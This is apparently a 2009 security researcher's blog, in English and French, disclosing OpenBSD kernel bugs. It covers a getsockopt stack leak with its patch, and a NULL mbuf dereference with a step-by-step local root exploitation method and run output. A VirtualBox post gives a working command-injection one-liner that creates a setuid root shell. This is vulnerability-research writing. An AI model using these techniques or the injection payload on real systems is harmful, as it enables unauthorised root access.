Monday, December 14, 2009

OpenBSD phunz² !

Hi,

Here is a new OpenBSD fun. This time is not a new fucking NULL pointer dereference but a tiny kernel stack memory disclosure. It has been found in getsockopt(IP_IPSEC_*_AUTH).

Code can be found in netinet/ip_output.c :


u_int16_t opt16val;
(...)
ipr = NULL;
(...)
case IP_IPSEC_REMOTE_CRED:
ipr = inp->inp_ipsec_remotecred;
opt16val = IPSP_CRED_NONE;
break;
case IP_IPSEC_LOCAL_AUTH:
if (inp->inp_ipo != NULL)
ipr = inp->inp_ipo->ipo_local_auth;
break;
case IP_IPSEC_REMOTE_AUTH:
ipr = inp->inp_ipsec_remoteauth;
break;
(...)
if (ipr == NULL)
*mtod(m, u_int16_t *) = opt16val;



As you can see, in cases IP_IPSEC_LOCAL_AUTH and IP_IPSEC_REMOTE_AUTH, there are no value assigned to opt16val whereas ipr can be NULL. In this case, when ipr is NULL, opt16val is returned to userland and 2 bytes of the kernel stack are leaked. :-)

Fix is very simple, it just initializes opt16val in both cases.

@@ -1593,9 +1593,11 @@ ip_ctloutput(op, so, level, optname, mp)
case IP_IPSEC_LOCAL_AUTH:
if (inp->inp_ipo != NULL)
ipr = inp->inp_ipo->ipo_local_auth;
+ opt16val = IPSP_AUTH_NONE;
break;
case IP_IPSEC_REMOTE_AUTH:
ipr = inp->inp_ipsec_remoteauth;
+ opt16val = IPSP_AUTH_NONE;
break;



Well, it's not a big issue but it prooves that OpenBSD is also affected by the same fucking issues found in Linux kernel few months ago...

Labels: , ,

Monday, November 02, 2009

OpenBSD ownage party !

Hello world,

Since erratas and patches for the vulnerability have been released, I can publish my exploit with some explanations.

Explanations are quite light, I have no time. Maybe xorl will do a better analysis and in a better english. :-)

* Vulnerability

The vulnerability is very easy to understand. OpenBSD developpers have just forgotten to allocate a new mbuf in a getsockopt() kernel case. Indeed, when kernel handles getsockopt() call, it creates a new mbuf which is filled with the information requested and returned back to userland. For instance, here is the code case handling a getsockopt() with IP_PORTRANGE level:

*mp = NULL;
(...)
case IP_PORTRANGE:
*mp = m = m_get(M_WAIT, MT_SOOPTS);
m->m_len = sizeof(int);

if (inp->inp_flags & INP_HIGHPORT)
optval = IP_PORTRANGE_HIGH;
else if (inp->inp_flags & INP_LOWPORT)
optval = IP_PORTRANGE_LOW;
else
optval = 0;

*mtod(m, int *) = optval;
break;


As you can see on line 2, there is a call to m_get() to request a new mbuf.

Problem is located in levels IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL where developpers use the mbuf m directly whereas it has not been allocated, it equals to NULL.

case IP_AUTH_LEVEL:
case IP_ESP_TRANS_LEVEL:
case IP_ESP_NETWORK_LEVEL:
case IP_IPCOMP_LEVEL:
(...)
m->m_len = sizeof(int); [1]
switch (optname) {
case IP_AUTH_LEVEL:
optval = inp->inp_seclevel[SL_AUTH];
break;
(...)
*mtod(m, int *) = optval; [2]
(...)


At [1] kernel try to write sizeof(int) at NULL->m_len. If page at address NULL is not mapped, a kernel panic occurs.

This vulnerability affects OpenBSD version 3.9 (I've not checked previous versions) through 4.6, the lastest.

* The sploit

At first, in order to exploit this vulnerability to gain root priv, we have to be able to map page at adresse NULL. Since OpenBSD 4.4, this has been disabled for all architectures. I haven't found any way of bypassing this protection. Thus, this exploit works only on versions prior to OpenBSD 4.4.

In the vulnerable code showed above, we can see that the instruction at [2] is very interesting because it will allow us to write optval where we want in memory. Indeed, mtod() is just a C macro which returns (int*)m->data.

So let's root it ?

To exploit this, we just have to map (rw access) at address NULL a fake mbuf with an evil data field. We just have one consideration to take into account, default value for optval in these cases is always 0x00000001 and only root can modify it with a setsockopt() call. So, we can write a 0x00000001 where we want in memory. :-)

Are you ready to rumble the kernel ?

Like perl, there is more than one way to do it. At first I was thinking of erasing creds in the proc structure but it is no so simple and I chose to simply override an entry in the syscall table.

Yes, address of sysent in OpenBSD is static. We just have to override one of the entries (SYS_fpathconf for example) with an 0x00000001 value by mapping a fake mbuf at NULL with m->data = addr of sysent[SYS_fpathconf]. Then we call our evil getsockopt(). When sysent entry is overriden, we remap at NULL a NOP+shellcode which updates the creds of our current process and then call fpathconf() to exec our shellcode and rulez !

Please, let me know if you have other tricks.

For more information, I let you see source of the exploit, for educationnal purpose only of course.

$ id
uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)
$ ./openbaize
\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() local root
\o/ Found and badcoded by clem1

\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h
\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0
\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192
\o/ Hoooooooorray r00t.
# id
uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)


* FAQ:

Why two different shellcodes ?

Just because proc and p_cred structures have changed (new level of dereference, new offset).

Labels: , ,

Thursday, October 29, 2009

Ce soir c'est OpenBaize !

Les erratas ainsi que les patchs étant disponibles, je me permet de publier mon exploit ainsi que les explications qui vont avec...

Les explications sont sans sucre ajouté... je n'ai pas trop le temps en ce moment. :-(

Peut être que Monsieur xorl donnera plus d'explications comme il le fait trop bien.


* Description de la vulnérabilité.

La vulnérabilité est aussi bête à comprendre qu'elle a été simple à trouver. Lorsque le kernel gère un getsockopt() il alloue un mbuf pour retourner les informations en userland. Par exemple, voici le code pour récupérer le portrange (IP_PORTRANGE) :

*mp = NULL;
(...)
case IP_PORTRANGE:
*mp = m = m_get(M_WAIT, MT_SOOPTS);
m->m_len = sizeof(int);

if (inp->inp_flags & INP_HIGHPORT)
optval = IP_PORTRANGE_HIGH;
else if (inp->inp_flags & INP_LOWPORT)
optval = IP_PORTRANGE_LOW;
else
optval = 0;

*mtod(m, int *) = optval;
break;


On voit bien à la ligne 2, que le kernel demande l'allocation d'un mbuf.

Le problème se trouve pour les levels IP_AUTH_LEVEL, IP_ESP_TRANS_LEVEL, IP_ESP_NETWORK_LEVEL, IP_IPCOMP_LEVEL où les développeurs d'OpenBSD ont oublié d'allouer un nouveau mbuf et ont directement travaillé [1] sur le mbuf m qui vaut NULL.

case IP_AUTH_LEVEL:
case IP_ESP_TRANS_LEVEL:
case IP_ESP_NETWORK_LEVEL:
case IP_IPCOMP_LEVEL:
(...)
m->m_len = sizeof(int); [1]
switch (optname) {
case IP_AUTH_LEVEL:
optval = inp->inp_seclevel[SL_AUTH];
break;
(...)
*mtod(m, int *) = optval; [2]
(...)


À l'exécution de [1] le kernel tente d'écrire la taille d'un int à l'adresse NULL + off(m_len). Si la page à l'adresse NULL n'est pas alouée, c'est le kernel panic.

Je n'ai pas regardé en détail depuis quand cette vulnérabilité était présente dans OpenBSD. Je suis descendu jusqu'à la version 3.9 et elle est vulnérable...

* Exploitation de la vulnérabilité.


Tout d'abord pour pouvoir exploiter cette vulnérabilité, il est évident qu'il faut pouvoir mapper une page à l'adresse NULL. OpenBSD, depuis la version 4.4 et pour toutes les architectures, n'autorisent plus cela. J'ai tenté en vitesse de trouver un moyen de bypasser cette protection mais proutprout. La technique d'exploitation décrite ici s'applique donc aux OpenBSD qui ont une version inférieure à la 4.4.

Dans le code de la vulnérabilité présentée ci-dessus, nous voyons que nous avons en [2] une instruction très intéressante qui va nous permetre d'écrire la valeur comprise dans optval à n'importe quelle adresse mémoire. En effet, la fonction mtod() retourne simplement (int*)m->data.

Vous voyez où je veux en venir ?

Il suffit de placer (en rw) un faux mbuf à l'adresse NULL avec une belle adresse bien poilue dans m->data. Seulement il y'a quelques limites à prendre en considération... Par défaut, la valeur d'optval sera égale à 0x00000001, seul le root peut la modifier par setsockopt(). Nous pouvons donc écrire un 0x00000001 où l'on veut en mémoire.

Que faire ?

Alors là, c'est là où on s'amuse. Je pense qu'il y a plusieurs façons de faire. Au départ j'avais pensé à écraser en 2 coups l'uid dans la structure proc du processus courant mais j'ai abandonné et je suis parti pour écraser une entrée de la table des appels système.

Bein oui, l'adresse d'origine de la table ne bouge pas... il suffit d'écraser une de ces entrées (SYS_fpathconf par exemple) avec un 0x00000001 en mappant un faux mbuf avec m->data = adresse de sysent[SYS_fpathconf]. Ensuite une fois que c'est fait, on mappe (en rx), toujours à NULL, un shellcode qui va modifier l'uid de la structure proc du process courant pour lui donner le root et on appelle l'appel système fpathconf() pour exécuter notre shellcode et bingo. Pinuts hein ?

Si vous pensez à d'autres techniques je suis preneur. ;-)

Pour plus d'explications, je vous laisser regarder les sources.

* Taddam, sans les mains !

$ id
uid=1000(clem1) gid=1000(clem1) groups=1000(clem1), 0(wheel)
$ ./openbaize
\o/ OpenBSD IP_FUCKING_LEVEL getsockopt() remote root
\o/ Found and badcoded by clem1

\o/ Trying to own this 4.0 OpenBSD OS... 0h0h0h
\o/ Patching sysent (0xd0715fc4) for syscall number 192 with 0x1... h0h0h0
\o/ Mapping shellcode at 0x1... calling our new fake evil syscall number 192
\o/ Hoooooooorray r00t.
# id
uid=0(root) gid=1000(clem1) groups=1000(clem1), 0(wheel)


* Pourquoi deux shellcodes ?

Parce que la structure proc et notamment la structure p_ucred à l'intérieur a changée entre la version 4.2 et 4.3... donc c'est juste une histoire de niveau de déférencement pour arriver à l'uid du owner du process et d'offset...

Labels: , ,

Wednesday, October 28, 2009

Mouflage chez OpenBSD

Depuis le temps qu'elle loutrait sur mon disque celle ...

Je publierai mon exploit quand ils auront patché les stables et publié un errata. En attendant, vous pouvez vous amuser à tenter de gagner le root sur une OpenBSD 4.3 ou à trouver un moyen de bypasser mmap(NULL) introduit dans la 4.4. #@!

Merci mes fuzzers de 2006...

Labels: , , ,

Tuesday, October 13, 2009

Moufleurs professionnels chez VirtualBox

Extrait du changeLog de VirtualBox :

« Security: fixed vulnerability that allowed to execute commands with root privileges. »

HUM HUM WOOT #@!

Après quelques minutes de recherche, on tombe sur le binaire VBoxNetAdpCtl qui est setuid root et dont le code vulnérable est disponible ici. C'est du code bien cradossé, je vous laisse un peu de temps pour trouver la vulnérabilité. ;-)

...

Bein oui c'est le popen() qui est fait à la ligne 118 qui nous permet d'injecter des commandes qui seront lancées avec euid = 0. :-)

Exploit de oufz0r :

[clem1@0dayz ~]$ /usr/lib/virtualbox/VBoxNetAdpCtl "vboxnet0;cp /bin/dash /tmp/.r00t;chmod +s /tmp/.r00t" "11:11::11" netmask 255.255.255.0
vboxnet0: error fetching interface information: Device not found
SIOGIFINDEX: No such device
getaddrinfo: 255.255.255.0: -9
255.255.255.0: Resolver Error 0 (no error)
[clem1@0dayz ~]$ /tmp/.r00t
# id
uid=1000(clem1) gid=100(users) euid=0(root) (...)

# exit



Attention ça ne marche pas avec toutes les distributions car certaines implémentations de /bin/sh (celle de archlinux) doivent faire une sorte de seteuid(getuid()) avant d'exécuter un binaire. J'ai pas eu le temps de regarder en détail...

<privatejoke>
Les développeurs de VirtualBox méritent qu'on leur fasse gobber du flanby périmé. :-)
</privatejoke>

Labels: ,